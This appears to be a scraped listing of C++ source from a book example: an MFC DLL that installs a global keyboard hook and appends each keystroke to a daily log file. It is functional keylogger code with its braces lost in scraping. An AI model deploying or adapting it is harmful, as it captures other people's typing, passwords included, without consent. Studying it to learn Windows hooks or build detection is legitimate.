LaunchDLL.cpp
上传用户:qzzxgm
上传日期:2009-12-14
资源大小:1882k
文件大小:3k
源码类别:

书籍源码

开发平台:

Visual C++

  1. // LaunchDLL.cpp : Defines the initialization routines for the DLL.
  2. //
  3. #include "stdafx.h"
  4. #include "LaunchDLL.h"
  5. #ifdef _DEBUG
  6. #define new DEBUG_NEW
  7. #undef THIS_FILE
  8. static char THIS_FILE[] = __FILE__;
  9. #endif
  10. //
  11. // Note!
  12. //
  13. // If this DLL is dynamically linked against the MFC
  14. // DLLs, any functions exported from this DLL which
  15. // call into MFC must have the AFX_MANAGE_STATE macro
  16. // added at the very beginning of the function.
  17. //
  18. // For example:
  19. //
  20. // extern "C" BOOL PASCAL EXPORT ExportedFunction()
  21. // {
  22. // AFX_MANAGE_STATE(AfxGetStaticModuleState());
  23. // // normal function body here
  24. // }
  25. //
  26. // It is very important that this macro appear in each
  27. // function, prior to any calls into MFC.  This means that
  28. // it must appear as the first statement within the 
  29. // function, even before any object variable declarations
  30. // as their constructors may generate calls into the MFC
  31. // DLL.
  32. //
  33. // Please see MFC Technical Notes 33 and 58 for additional
  34. // details.
  35. //
  36. /////////////////////////////////////////////////////////////////////////////
  37. // CLaunchDLLApp
  38. HHOOK Hook; 
  39. LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam); 
  40. void SaveLog(char* c); 
  41. BEGIN_MESSAGE_MAP(CLaunchDLLApp, CWinApp)
  42. //{{AFX_MSG_MAP(CLaunchDLLApp)
  43. // NOTE - the ClassWizard will add and remove mapping macros here.
  44. //    DO NOT EDIT what you see in these blocks of generated code!
  45. //}}AFX_MSG_MAP
  46. END_MESSAGE_MAP()
  47. /////////////////////////////////////////////////////////////////////////////
  48. // CLaunchDLLApp construction
  49. CLaunchDLLApp::CLaunchDLLApp()
  50. {
  51. }
  52. /////////////////////////////////////////////////////////////////////////////
  53. // The one and only CLaunchDLLApp object
  54. CLaunchDLLApp theApp;
  55. //输出函数
  56. DllExport void WINAPI InstallLaunchEv() 
  57. //安装全局钩子
  58. Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD, 
  59. (HOOKPROC)LauncherHook, 
  60. theApp.m_hInstance, 
  61. 0); 
  62. //钩子函数
  63. LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam) 
  64. //让其它全局钩子获得消息
  65. LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam); 
  66. if(nCode==HC_ACTION) 
  67. if(lParam & 0x80000000) 
  68. //保存按键消息
  69. char c[1]; 
  70. c[0]=wParam; 
  71. SaveLog(c); 
  72. return Result; 
  73. //保存按键记录
  74. void SaveLog(char* c) 
  75. //获得当前时间
  76. CTime tm=CTime::GetCurrentTime(); 
  77. CString name; 
  78. name.Format("Key_%d_%d.log",tm.GetMonth(),tm.GetDay()); 
  79. CFile file; 
  80. //打开文件
  81. if(!file.Open(name,CFile::modeReadWrite)) 
  82. file.Open(name,CFile::modeCreate|CFile::modeReadWrite); 
  83. //在文件末尾写
  84. file.SeekToEnd(); 
  85. file.Write(c,1); 
  86. file.Close();